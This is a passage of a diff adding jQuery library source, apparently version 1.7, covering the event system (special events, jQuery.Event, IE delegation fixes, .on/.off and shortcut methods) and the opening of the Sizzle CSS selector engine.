noBubble: true + }, + + focus: { + delegateType: "focusin" + }, + blur: { + delegateType: "focusout" + }, + + beforeunload: { + setup: function( data, namespaces, eventHandle ) { + // We only want to do this special case on windows + if ( jQuery.isWindow( this ) ) { + this.onbeforeunload = eventHandle; + } + }, + + teardown: function( namespaces, eventHandle ) { + if ( this.onbeforeunload === eventHandle ) { + this.onbeforeunload = null; + } + } + } + }, + + simulate: function( type, elem, event, bubble ) { + // Piggyback on a donor event to simulate a different one. + // Fake originalEvent to avoid donor's stopPropagation, but if the + // simulated event prevents default then we do the same on the donor. + var e = jQuery.extend( + new jQuery.Event(), + event, + { type: type, + isSimulated: true, + originalEvent: {} + } + ); + if ( bubble ) { + jQuery.event.trigger( e, null, elem ); + } else { + jQuery.event.dispatch.call( elem, e ); + } + if ( e.isDefaultPrevented() ) { + event.preventDefault(); + } + } +}; + +// Some plugins are using, but it's undocumented/deprecated and will be removed. +// The 1.7 special event interface should provide all the hooks needed now. +jQuery.event.handle = jQuery.event.dispatch; + +jQuery.removeEvent = document.removeEventListener ? + function( elem, type, handle ) { + if ( elem.removeEventListener ) { + elem.removeEventListener( type, handle, false ); + } + } : + function( elem, type, handle ) { + if ( elem.detachEvent ) { + elem.detachEvent( "on" + type, handle ); + } + }; + +jQuery.Event = function( src, props ) { + // Allow instantiation without the 'new' keyword + if ( !(this instanceof jQuery.Event) ) { + return new jQuery.Event( src, props ); + } + + // Event object + if ( src && src.type ) { + this.originalEvent = src; + this.type = src.type; + + // Events bubbling up the document may have been marked as prevented + // by a handler lower down the tree; reflect the correct value. + this.isDefaultPrevented = ( src.defaultPrevented || src.returnValue === false || + src.getPreventDefault && src.getPreventDefault() ) ? returnTrue : returnFalse; + + // Event type + } else { + this.type = src; + } + + // Put explicitly provided properties onto the event object + if ( props ) { + jQuery.extend( this, props ); + } + + // Create a timestamp if incoming event doesn't have one + this.timeStamp = src && src.timeStamp || jQuery.now(); + + // Mark it as fixed + this[ jQuery.expando ] = true; +}; + +function returnFalse() { + return false; +} +function returnTrue() { + return true; +} + +// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding +// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html +jQuery.Event.prototype = { + preventDefault: function() { + this.isDefaultPrevented = returnTrue; + + var e = this.originalEvent; + if ( !e ) { + return; + } + + // if preventDefault exists run it on the original event + if ( e.preventDefault ) { + e.preventDefault(); + + // otherwise set the returnValue property of the original event to false (IE) + } else { + e.returnValue = false; + } + }, + stopPropagation: function() { + this.isPropagationStopped = returnTrue; + + var e = this.originalEvent; + if ( !e ) { + return; + } + // if stopPropagation exists run it on the original event + if ( e.stopPropagation ) { + e.stopPropagation(); + } + // otherwise set the cancelBubble property of the original event to true (IE) + e.cancelBubble = true; + }, + stopImmediatePropagation: function() { + this.isImmediatePropagationStopped = returnTrue; + this.stopPropagation(); + }, + isDefaultPrevented: returnFalse, + isPropagationStopped: returnFalse, + isImmediatePropagationStopped: returnFalse +}; + +// Create mouseenter/leave events using mouseover/out and event-time checks +jQuery.each({ + mouseenter: "mouseover", + mouseleave: "mouseout" +}, function( orig, fix ) { + jQuery.event.special[ orig ] = { + delegateType: fix, + bindType: fix, + + handle: function( event ) { + var target = this, + related = event.relatedTarget, + handleObj = event.handleObj, + selector = handleObj.selector, + ret; + + // For mousenter/leave call the handler if related is outside the target. + // NB: No relatedTarget if the mouse left/entered the browser window + if ( !related || (related !== target && !jQuery.contains( target, related )) ) { + event.type = handleObj.origType; + ret = handleObj.handler.apply( this, arguments ); + event.type = fix; + } + return ret; + } + }; +}); + +// IE submit delegation +if ( !jQuery.support.submitBubbles ) { + + jQuery.event.special.submit = { + setup: function() { + // Only need this for delegated form submit events + if ( jQuery.nodeName( this, "form" ) ) { + return false; + } + + // Lazy-add a submit handler when a descendant form may potentially be submitted + jQuery.event.add( this, "click._submit keypress._submit", function( e ) { + // Node name check avoids a VML-related crash in IE (#9807) + var elem = e.target, + form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.form : undefined; + if ( form && !form._submit_attached ) { + jQuery.event.add( form, "submit._submit", function( event ) { + // If form was submitted by the user, bubble the event up the tree + if ( this.parentNode && !event.isTrigger ) { + jQuery.event.simulate( "submit", this.parentNode, event, true ); + } + }); + form._submit_attached = true; + } + }); + // return undefined since we don't need an event listener + }, + + teardown: function() { + // Only need this for delegated form submit events + if ( jQuery.nodeName( this, "form" ) ) { + return false; + } + + // Remove delegated handlers; cleanData eventually reaps submit handlers attached above + jQuery.event.remove( this, "._submit" ); + } + }; +} + +// IE change delegation and checkbox/radio fix +if ( !jQuery.support.changeBubbles ) { + + jQuery.event.special.change = { + + setup: function() { + + if ( rformElems.test( this.nodeName ) ) { + // IE doesn't fire change on a check/radio until blur; trigger it on click + // after a propertychange. Eat the blur-change in special.change.handle. + // This still fires onchange a second time for check/radio after blur. + if ( this.type === "checkbox" || this.type === "radio" ) { + jQuery.event.add( this, "propertychange._change", function( event ) { + if ( event.originalEvent.propertyName === "checked" ) { + this._just_changed = true; + } + }); + jQuery.event.add( this, "click._change", function( event ) { + if ( this._just_changed && !event.isTrigger ) { + this._just_changed = false; + jQuery.event.simulate( "change", this, event, true ); + } + }); + } + return false; + } + // Delegated event; lazy-add a change handler on descendant inputs + jQuery.event.add( this, "beforeactivate._change", function( e ) { + var elem = e.target; + + if ( rformElems.test( elem.nodeName ) && !elem._change_attached ) { + jQuery.event.add( elem, "change._change", function( event ) { + if ( this.parentNode && !event.isSimulated && !event.isTrigger ) { + jQuery.event.simulate( "change", this.parentNode, event, true ); + } + }); + elem._change_attached = true; + } + }); + }, + + handle: function( event ) { + var elem = event.target; + + // Swallow native change events from checkbox/radio, we already triggered them above + if ( this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox") ) { + return event.handleObj.handler.apply( this, arguments ); + } + }, + + teardown: function() { + jQuery.event.remove( this, "._change" ); + + return rformElems.test( this.nodeName ); + } + }; +} + +// Create "bubbling" focus and blur events +if ( !jQuery.support.focusinBubbles ) { + jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { + + // Attach a single capturing handler while someone wants focusin/focusout + var attaches = 0, + handler = function( event ) { + jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true ); + }; + + jQuery.event.special[ fix ] = { + setup: function() { + if ( attaches++ === 0 ) { + document.addEventListener( orig, handler, true ); + } + }, + teardown: function() { + if ( --attaches === 0 ) { + document.removeEventListener( orig, handler, true ); + } + } + }; + }); +} + +jQuery.fn.extend({ + + on: function( types, selector, data, fn, /*INTERNAL*/ one ) { + var origFn, type; + + // Types can be a map of types/handlers + if ( typeof types === "object" ) { + // ( types-Object, selector, data ) + if ( typeof selector !== "string" ) { + // ( types-Object, data ) + data = selector; + selector = undefined; + } + for ( type in types ) { + this.on( type, selector, data, types[ type ], one ); + } + return this; + } + + if ( data == null && fn == null ) { + // ( types, fn ) + fn = selector; + data = selector = undefined; + } else if ( fn == null ) { + if ( typeof selector === "string" ) { + // ( types, selector, fn ) + fn = data; + data = undefined; + } else { + // ( types, data, fn ) + fn = data; + data = selector; + selector = undefined; + } + } + if ( fn === false ) { + fn = returnFalse; + } else if ( !fn ) { + return this; + } + + if ( one === 1 ) { + origFn = fn; + fn = function( event ) { + // Can use an empty set, since event contains the info + jQuery().off( event ); + return origFn.apply( this, arguments ); + }; + // Use same guid so caller can remove using origFn + fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); + } + return this.each( function() { + jQuery.event.add( this, types, fn, data, selector ); + }); + }, + one: function( types, selector, data, fn ) { + return this.on.call( this, types, selector, data, fn, 1 ); + }, + off: function( types, selector, fn ) { + if ( types && types.preventDefault && types.handleObj ) { + // ( event ) dispatched jQuery.Event + var handleObj = types.handleObj; + jQuery( types.delegateTarget ).off( + handleObj.namespace? handleObj.type + "." + handleObj.namespace : handleObj.type, + handleObj.selector, + handleObj.handler + ); + return this; + } + if ( typeof types === "object" ) { + // ( types-object [, selector] ) + for ( var type in types ) { + this.off( type, selector, types[ type ] ); + } + return this; + } + if ( selector === false || typeof selector === "function" ) { + // ( types [, fn] ) + fn = selector; + selector = undefined; + } + if ( fn === false ) { + fn = returnFalse; + } + return this.each(function() { + jQuery.event.remove( this, types, fn, selector ); + }); + }, + + bind: function( types, data, fn ) { + return this.on( types, null, data, fn ); + }, + unbind: function( types, fn ) { + return this.off( types, null, fn ); + }, + + live: function( types, data, fn ) { + jQuery( this.context ).on( types, this.selector, data, fn ); + return this; + }, + die: function( types, fn ) { + jQuery( this.context ).off( types, this.selector || "**", fn ); + return this; + }, + + delegate: function( selector, types, data, fn ) { + return this.on( types, selector, data, fn ); + }, + undelegate: function( selector, types, fn ) { + // ( namespace ) or ( selector, types [, fn] ) + return arguments.length == 1? this.off( selector, "**" ) : this.off( types, selector, fn ); + }, + + trigger: function( type, data ) { + return this.each(function() { + jQuery.event.trigger( type, data, this ); + }); + }, + triggerHandler: function( type, data ) { + if ( this[0] ) { + return jQuery.event.trigger( type, data, this[0], true ); + } + }, + + toggle: function( fn ) { + // Save reference to arguments for access in closure + var args = arguments, + guid = fn.guid || jQuery.guid++, + i = 0, + toggler = function( event ) { + // Figure out which function to execute + var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i; + jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 ); + + // Make sure that clicks stop + event.preventDefault(); + + // and execute the function + return args[ lastToggle ].apply( this, arguments ) || false; + }; + + // link all the functions, so any of them can unbind this click handler + toggler.guid = guid; + while ( i < args.length ) { + args[ i++ ].guid = guid; + } + + return this.click( toggler ); + }, + + hover: function( fnOver, fnOut ) { + return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); + } +}); + +jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " + + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + + "change select submit keydown keypress keyup error contextmenu").split(" "), function( i, name ) { + + // Handle event binding + jQuery.fn[ name ] = function( data, fn ) { + if ( fn == null ) { + fn = data; + data = null; + } + + return arguments.length > 0 ? + this.on( name, null, data, fn ) : + this.trigger( name ); + }; + + if ( jQuery.attrFn ) { + jQuery.attrFn[ name ] = true; + } + + if ( rkeyEvent.test( name ) ) { + jQuery.event.fixHooks[ name ] = jQuery.event.keyHooks; + } + + if ( rmouseEvent.test( name ) ) { + jQuery.event.fixHooks[ name ] = jQuery.event.mouseHooks; + } +}); + + + +/*! + * Sizzle CSS Selector Engine + * Copyright 2011, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * More information: http://sizzlejs.com/ + */ +(function(){ + +var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, + expando = "sizcache" + (Math.random() + '').replace('.', ''), + done = 0, + toString = Object.prototype.toString, + hasDuplicate = false, + baseHasDuplicate = true, + rBackslash = /\\/g, + rReturn = /\r\n/g, + rNonWord = /\W/; + +// Here we check if the JavaScript engine is using some sort of +// optimization where it does not always call our comparision +// function. If that is the case, discard the hasDuplicate value. +// Thus far that includes Google Chrome. +[0, 0].sort(function() { + baseHasDuplicate = false; + return 0; +}); + +var Sizzle = function( selector, context, results, seed ) { + results = results || []; + context = context || document; + + var origContext = context; + + if ( context.nodeType !== 1 && context.nodeType !== 9 ) { + return []; + } + + if ( !selector || typeof selector !== "string" ) { + return results; + } + + var m, set, checkSet, extra, ret, cur, pop, i, + prune = true, + contextXML = Sizzle.isXML( context ), + parts = [], + soFar = selector; + + // Reset the position of the chunker regexp (start from head) + do { + chunker.exec( "" ); + m = chunker.exec( soFar ); + + if ( m ) { + soFar = m[3]; + + parts.push( m[1] ); + + if ( m[2] ) { + extra = m[3]; + break; + } + } + } while ( m ); + + if ( parts.length > 1 && origPOS.exec( selector ) ) { + + if ( parts.length === 2 && Expr.relative[ parts[0] ] ) { + set = posProcess( parts[0] + parts[1], context, seed ); + + } else { + set = Expr.relative[ parts[0] ] ? + [ context ] : + Sizzle( parts.shift(), context ); + + while ( parts.length ) { + selector = parts.shift(); + + if ( Expr.relative[ selector ] ) { + selector += parts.shift(); + } + + set = posProcess( selector, set, seed ); + } + } + + } else { + // Take a shortcut and set the context if the root selector is an ID + // (but not if it'll be faster if the inner selector is an ID) + if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML && + Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) { + + ret = Sizzle.find( parts.shift(), context, contextXML ); + context = ret.expr ? + Sizzle.filter( ret.expr, ret.set )[0] : + ret.set[0]; + } + + if ( context ) { + ret = seed ? + { expr: parts.pop(), set: makeArray(seed) } : + Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML ); + + set = ret.expr ? + Sizzle.filter( ret.expr, ret.set ) : + ret.set; + + if ( parts.length > 0 ) { + checkSet = makeArray( set ); + + } else { + prune = false; + } + + while ( parts.length ) { + cur = parts.pop(); + pop = cur; + + if ( !Expr.relative[ cur ] ) { + cur = ""; + } else { + pop = parts.pop(); + } + + if ( pop == null ) { + pop = context; + } + + Expr.relative[ cur ]( checkSet, pop, contextXML ); + } + + } else { + checkSet = parts = []; + } + } + + if ( !checkSet ) { + checkSet = set; + } + + if ( !checkSet ) { + Sizzle.error( cur || selector ); + } + + if ( toString.call(checkSet) === "[object Array]" ) { + if ( !prune ) { + results.push.apply( results, checkSet ); + + } else if ( context && context.nodeType === 1 ) { + for ( i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) { + results.push( set[i] ); + } + } + + } else { + for ( i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && checkSet[i].nodeType === 1 ) { + results.push( set[i] ); + } + } + } + + } else { + makeArray( checkSet, results ); + } + + if ( extra ) { + Sizzle( extra, origContext, results, seed ); + Sizzle.uniqueSort( results ); + } + + return results; +}; + +Sizzle.uniqueSort = function( results ) { + if ( sortOrder ) { + hasDuplicate = baseHasDuplicate; + results.sort( sortOrder ); + + if ( hasDuplicate ) { + for ( var i = 1; i < results.length; i++ ) { + if ( results[i] === results[ i - 1 ] ) { + results.splice( i--, 1 ); + } + } + } + } + + return results; +}; + +Sizzle.matches = function( expr, set ) { + return Sizzle( expr, null, null, set ); +}; + +Sizzle.matchesSelector = function( node, expr ) { + return Sizzle( expr, null, null, [node] ).length > 0; +}; + +Sizzle.find = function( expr, context, isXML ) { + var set, i, len, match, type, left; + + if ( !expr ) { + return []; + } + + for ( i = 0, len = Expr.order.length; i < len; i++ ) { + type = Expr.order[i]; + + if ( (match = Expr.leftMatch[ type ].exec( expr )) ) { + left = match[1]; + match.splice( 1, 1 ); + + if ( left.substr( left.length - 1 ) !== "\\" ) { + match[1] = (match[1] || "").replace( rBackslash, "" ); + set = Expr.find[ type ]( match, context, isXML ); + + if ( set != null ) { + expr = expr.replace( Expr.match[ type ], "" ); + break; + } + } + } + } + + if ( !set ) { + set = typeof context.getElementsByTagName !== "undefined" ? + context.getElementsByTagName( "*" ) : + []; + } + + return { set: set, expr: expr }; +}; + +Sizzle.filter = function( expr, set, inplace, not ) { + var match, anyFound, + type, found, item, filter, left, + i, pass, + old = expr, + result = [], + curLoop = set, + isXMLFilter = set && set[0] && Sizzle.isXML( set[0] ); + + while ( expr && set.length ) { + for ( type in Expr.filter ) { + if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) { + filter = Expr.filter[ type ]; + left = match[1]; + + anyFound = false; + + match.splice(1,1); + + if ( left.substr( left.length - 1 ) === "\\" ) { + continue; + } + + if ( curLoop === result ) { + result = []; + } + + if ( Expr.preFilter[ type ] ) { + match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter ); + + if ( !match ) { + anyFound = found = true; + + } else if ( match === true ) { + continue; + } + } + + if ( match ) { + for ( i = 0; (item = curLoop[i]) != null; i++ ) { + if ( item ) { + found = filter( item, match, i, curLoop ); + pass = not ^ found; + + if ( inplace && found != null ) { + if ( pass ) { + anyFound = true; + + } else { + curLoop[i] = false; + } + + } else if ( pass ) { + result.push( item ); + anyFound = true; + } + } + } + } + + if ( found !== undefined ) { + if ( !inplace ) { + curLoop = result; + } + + expr = expr.replace( Expr.match[ type ], "" ); + + if ( !anyFound ) { + return []; + } + + break; + } + } + } + + // Improper expression + if ( expr === old ) { + if ( anyFound == null ) { + Sizzle.error( expr ); + + } else { + break; + } + } + + old = expr; + } + + return curLoop; +}; + +Sizzle.error = function( msg ) { + throw new Error( "Syntax error, unrecognized expression: " + msg ); +}; + +/** + * Utility function for retreiving the text value of an array of DOM nodes + * @param {Array|Element} elem + */ +var getText = Sizzle.getText = function( elem ) { + var i, node, + nodeType = elem.nodeType, + ret = ""; + + if ( nodeType ) { + if ( nodeType === 1 || nodeType === 9 ) { + // Use textContent || innerText for elements + if ( typeof elem.textContent === 'string' ) { + return elem.textContent; + } else if ( typeof elem.innerText === 'string' ) { + // Replace IE's carriage returns + return elem.innerText.replace( rReturn, '' ); + } else { + // Traverse it's children + for ( elem = elem.firstChild; elem; elem = elem.nextSibling) { + ret += getText( elem ); + } + } + } else if ( nodeType === 3 || nodeType === 4 ) { + return elem.nodeValue; + } + } else { + + // If no nodeType, this is expected to be an array + for ( i = 0; (node = elem[i]); i++ ) { + // Do not traverse comment nodes + if ( node.nodeType !== 8 ) { + ret += getText( node ); + } + } + } + return ret; +}; + +var Expr = Sizzle.selectors = { + order: [ "ID", "NAME", "TAG" ], + + match: { + ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, + CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, + NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/, + ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/, + TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/, + CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/, + POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/, + PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/ + }, + + leftMatch: {}, + + attrMap: { + "class": "className", + "for": "htmlFor" + }, + + attrHandle: { + href: function( elem ) { + return elem.getAttribute( "href" ); + }, + type: function( elem ) { + return elem.getAttribute( "type" ); + } + }, + + relative: { + "+": function(checkSet, part){ + var isPartStr = typeof part === "string", + isTag = isPartStr && !rNonWord.test( part ), + isPartStrNotTag = isPartStr && !isTag; + + if ( isTag ) { + part = part.toLowerCase(); + } + + for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) { + if ( (elem = checkSet[i]) ) { + while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {} + + checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ? + elem || false : + elem === part; + } + } + + if ( isPartStrNotTag ) { + Sizzle.filter( part, checkSet, true ); + } + }, + + ">": function( checkSet, part ) { + var elem, + isPartStr = typeof part === "string", + i = 0, + l = checkSet.length; + + if ( isPartStr && !rNonWord.test( part ) ) { + part = part.toLowerCase(); + + for ( ; i < l; i++ ) { + elem = checkSet[i]; + + if ( elem ) { + var parent = elem.parentNode; + checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false; + } + } + + } else { + for ( ; i < l; i++ ) { + elem = checkSet[i]; + + if ( elem ) { + checkSet[i] = isPartStr ? + elem.parentNode : + elem.parentNode === part; + } + } + + if ( isPartStr ) { + Sizzle.filter( part, checkSet, true ); + } + } + }, + + "": function(checkSet, part, isXML){ + var nodeCheck, + doneName = done++, + checkFn = dirCheck; + + if ( typeof part === "string" && !rNonWord.test( part ) ) { + part = part.toLowerCase(); + nodeCheck = part; + checkFn = dirNodeCheck; + } + + checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML ); + }, + + "~": function( checkSet, part, isXML ) { + var nodeCheck, + doneName = done++, + checkFn = dirCheck; + + if ( typeof part === "string" && !rNonWord.test( part ) ) { + part = part.toLowerCase(); + nodeCheck = part; + checkFn = dirNodeCheck; + } + + checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML ); + } + }, + + find: { + ID: function( match, context, isXML ) { + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + return m && m.parentNode ? [m] : []; + } + }, + + NAME: function( match, context ) { + if ( typeof context.getElementsByName !== "undefined" ) { + var ret = [], + results = context.getElementsByName( match[1] ); + + for ( var i = 0, l = results.length; i < l; i++ ) { + if ( results[i].getAttribute("name") === match[1] ) { + ret.push( results[i] ); + } + } + + return ret.length === 0 ? null : ret; + } + }, + + TAG: function( match, context ) { + if ( typeof context.getElementsByTagName !== "undefined" ) { + return context.getElementsByTagName( match[1] ); + } + } + }, + preFilter: { + CLASS: function( match, curLoop, inplace, result, not, isXML ) { + match = " " + match[1].replace( rBackslash, "" ) + " "; + + if ( isXML ) { + return match; + } + + for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) { + if ( elem ) { + if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) { + if ( !inplace ) { + result.push( elem ); + } + + } else if ( inplace ) { + curLoop[i] = false; + } + } + } + + return false; + }, + + ID: function( match ) { + return match[1].replace( rBackslash, "" ); + }, + + TAG: function( match, curLoop ) { + return match[1].replace( rBackslash, "" ).toLowerCase(); + }, + + CHILD: function( match ) { + if ( match[1] === "nth" ) { + if ( !match[2] ) { + Sizzle.error( match[0] ); + } + + match[2] = match[2].replace(/^\+|\s*/g, ''); + + // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6' + var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec( + match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" || + !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]); + + // calculate the numbers (first)n+(last) including if they are negative + match[2] = (test[1] + (test[2] || 1)) - 0; + match[3] = test[3] - 0; + } + else if ( match[2] ) { + Sizzle.error( match[0] ); + } + + // TODO: Move to normal caching system + match[0] = done++; + + return match; + }, + + ATTR: function( match, curLoop, inplace, result, not, isXML ) { + var name = match[1] = match[1].replace( rBackslash, "" ); + + if ( !isXML && Expr.attrMap[name] ) { + match[1] = Expr.attrMap[name]; + } + + // Handle if an un-quoted value was used + match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" ); + + if ( match[2] === "~=" ) { + match[4] = " " + match[4] + " "; + } + + return match; + }, + + PSEUDO: function( match, curLoop, inplace, result, not ) { + if ( match[1] === "not" ) { + // If we're dealing with a complex expression, or a simple one + if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) { + match[3] = Sizzle(match[3], null, null, curLoop); + + } else { + var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not); + + if ( !inplace ) { + result.push.apply( result, ret ); + } + + return false; + } + + } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) { + return true; + } + + return match; + }, + + POS: function( match ) { + match.unshift( true ); + + return match; + } + }, + + filters: { + enabled: function( elem ) { + return elem.disabled === false && elem.type !== "hidden"; + }, + + disabled: function( elem ) { + return elem.disabled === true; + }, + + checked: function( elem ) { + return elem.checked === true; + }, + + selected: function( elem ) { + // Accessing this property makes selected-by-default + // options in Safari work properly + if ( elem.parentNode ) { + elem.parentNode.selectedIndex; + } + + return elem.selected === true; + }, + + parent: function( elem ) { + return !!elem.firstChild; + }, + + empty: function( elem ) { + return !elem.firstChild; + }, + + has: function( elem, i, match ) { + return !!Sizzle( match[3], elem ).length; + }, + + header: function( elem ) { + return (/h\d/i).test( elem.nodeName ); + }, + + text: function( elem ) { + var attr = elem.getAttribute( "type" ), type = elem.type; + // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc) + // use getAttribute instead to test this case + return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null ); + }, + + radio: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type; + }, + + checkbox: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type; + }, + + file: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "file" === elem.type; + }, + + password: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "password" === elem.type; + }, + + submit: function( elem ) { + var name = elem.nodeName.toLowerCase(); + return (name === "input" || name === "button") && "submit" === elem.type; + }, + + image: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "image" === elem.type; + }, + + reset: function( elem ) { + var name = elem.nodeName.toLowerCase(); + return (name === "input" || name === "button") && "reset" === elem.type; + }, + + button: function( elem ) { + var name = elem.nodeName.toLowerCase(); + return name === "input" && "button" === elem.type || name === "button"; + }, + + input: function( elem ) { + return (/input|select|textarea|button/i).test( elem.nodeName ); + }, + + focus: function( elem ) { + return elem === elem.ownerDocument.activeElement; + } + }, + setFilters: { + first: function( elem, i ) { + return i === 0; + }, + + last: function( elem, i, match, array ) { + return i === array.length - 1; + }, + + even: function( elem, i ) { + return i % 2 === 0; + }, + + odd: function( elem, i ) { + return i % 2 === 1; + }, + + lt: function( elem, i, match ) { + return i < match[3] - 0; + }, + + gt: function( elem, i, match ) { + return i > match[3] - 0; + }, + + nth: function( elem, i, match ) { + return match[3] - 0 === i; + }, + + eq: function( elem, i, match ) { + return match[3] - 0 === i; + } + }, + filter: { + PSEUDO: function( elem, match, i, array ) { + var name = match[1], + filter = Expr.filters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + + } else if ( name === "contains" ) { + return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0; + + } else if ( name === "not" ) { + var not = match[3]; + + for ( var j = 0, l = not.length; j < l; j++ ) { + if ( not[j] === elem ) { + return false; + } + } + + return true; + + } else { + Sizzle.error( name ); + } + }, + + CHILD: function( elem, match ) { + var first, last, + doneName, parent, cache, + count, diff, + type = match[1], + node = elem; + + switch ( type ) { + case "only": + case "first": + while ( (node = node.previousSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + + if ( type === "first" ) { + return true; + } + + node = elem; + + case "last": + while ( (node = node.nextSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + + return true; + + case "nth": + first = match[2]; + last = match[3]; + + if ( first === 1 && last === 0 ) { + return true; + } + + doneName = match[0]; + parent = elem.parentNode; + + if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) { + count = 0; + + for ( node = parent.firstChild; node; node = node.nextSibling ) { + if ( node.nodeType === 1 ) { + node.nodeIndex = ++count; + } + } + + parent[ expando ] = doneName; + } + + diff = elem.nodeIndex - last; + + if ( first === 0 ) { + return diff === 0; + + } else { + return ( diff % first === 0 && diff / first >= 0 ); + } + } + }, + + ID: function( elem, match ) { + return elem.nodeType === 1 && elem.getAttribute("id") === match; + }, + + TAG: function( elem, match ) { + return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match; + }, + + CLASS: function( elem, match ) { + return (" " + (elem.className || elem.getAttribute("class")) + " ") + .indexOf( match ) > -1; + }, + + ATTR: function( elem, match ) { + var name = match[1], + result = Sizzle.attr ? + Sizzle.attr( elem, name ) : + Expr.attrHandle[ name ] ? + Expr.attrHandle[ name ]( elem ) : + elem[ name ] != null ? + elem[ name ] : + elem.getAttribute( name ), + value = result + "", + type = match[2], + check = match[4]; + + return result == null ? + type === "!=" : + !type && Sizzle.attr ? + result != null : + type === "=" ? + value === check : + type === "*=" ? + value.indexOf(check) >= 0 : + type === "~=" ? + (" " + value + " ").indexOf(check) >= 0 : + !check ? + value && result !== false : + type === "!=" ? + value !== check : + type === "^=" ? + value.indexOf(check) === 0 : + type === "$=" ? + value.substr(value.length - check.length) === check : + type === "|=" ? + value === check || value.substr(0, check.length + 1) === check + "-" : + false; + }, + + POS: function( elem, match, i, array ) { + var name = match[2], + filter = Expr.setFilters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + } + } + } +}; + +var origPOS = Expr.match.POS, + fescape = function(all, num){ + return "\\" + (num - 0 + 1); + }; + +for ( var type in Expr.match ) { + Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) ); + Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) ); +} + +var makeArray = function( array, results ) { + array = Array.prototype.slice.call( array, 0 ); + + if ( results ) { + results.push.apply( results, array ); + return results; + } + + return array; +}; + +// Perform a simple check to determine if the browser is capable of +// converting a NodeList to an array using builtin methods. +// Also verifies that the returned array holds DOM nodes +// (which is not the case in the Blackberry browser) +try { + Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType; + +// Provide a fallback method if it does not work +} catch( e ) { + makeArray = function( array, results ) { + var i = 0, + ret = results || []; + + if ( toString.call(array) === "[object Array]" ) { 